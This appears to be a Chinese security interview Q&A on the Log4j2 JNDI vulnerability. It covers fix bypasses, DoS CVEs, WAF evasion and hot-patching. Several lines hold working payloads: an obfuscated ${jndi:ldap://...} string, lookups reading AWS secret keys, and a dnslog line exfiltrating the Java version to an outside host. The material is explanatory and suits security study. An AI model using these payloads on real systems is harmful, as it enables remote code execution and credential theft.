- 谈谈Log4j2漏洞(★★)
漏洞原理其实不难,简单来说就是对于${jndi:}格式的日志默认执行JndiLoop.lookup导致的RCE。日志的任何一部分插入${}都会进行递归处理,也就是说log.info/error/warn等方法如果日志内容可控,就会导致这个问题。这个漏洞本身不复杂,后续的绕过比较有趣
- 知道Log4j2 2.15.0 RC1修复的绕过吗(★★★)
修复内容限制了协议和HOST以及类型,其中类型这个东西其实没用,协议的限制中包含了LDAP等于没限制。重点在于HOST的限制,只允许本地localhost和127.0.0.1等IP。但这里出现的问题是,加入了限制但没有捕获异常,如果产生异常会继续lookup所以如果在URL中加入一些特殊字符,例如空格,即可导致异常然后RCE
- Log4j2的两个DOS CVE了解吗(★★)
其中一个DOS是lookup本身延迟等待和允许多个标签${}导致的问题
另一个DOS是嵌套标签${}导致栈溢出
- Log4j2 2.15.0正式版的绕过了解吗(★★★)
正式版的修复只是在之前基础上捕获了异常。这个绕过本质还是绕HOST限制。使用127.0.0.1#evil.com即可绕过,需要服务端配置泛域名,所以#前的127.0.0.1会被认为是某个子域名,而本地解析认为这是127.0.0.1绕过了HOST的限制。但该RCE仅可以在MAC OS和部分Linux平台成功
- Log4j2绕WAF的手段有哪些(★★)
使用类似${::-J}的方式做字符串的绕过,还可以结合upper和lower标签进行嵌套
有一些特殊字符的情况结合大小写转换有巧妙的效果,还可以加入垃圾字符
例如:${jnd${upper:ı}:ldap://127.0.0.1:1389/Calc}
- Log4j2除了RCE还有什么利用姿势(★★★)
利用其他的lookup可以做信息泄露例如${env:USER}和${env:AWS_SECRET_ACCESS_KEY}
在SpringBoot情况下可以使用bundle:application获得数据库密码等敏感信息
这些敏感信息可以利用dnslog外带${jndi:ldap://${java:version}.xxx.dnslog.cn}
- 不停止运行程序如何修复Log4j2漏洞(★★★)
利用JavaAgent改JVM中的字节码,可以直接删了JndiLookup的功能
有公众号提出类似Shiro改Key的思路,利用反射把JndiLookup删了也是一种办法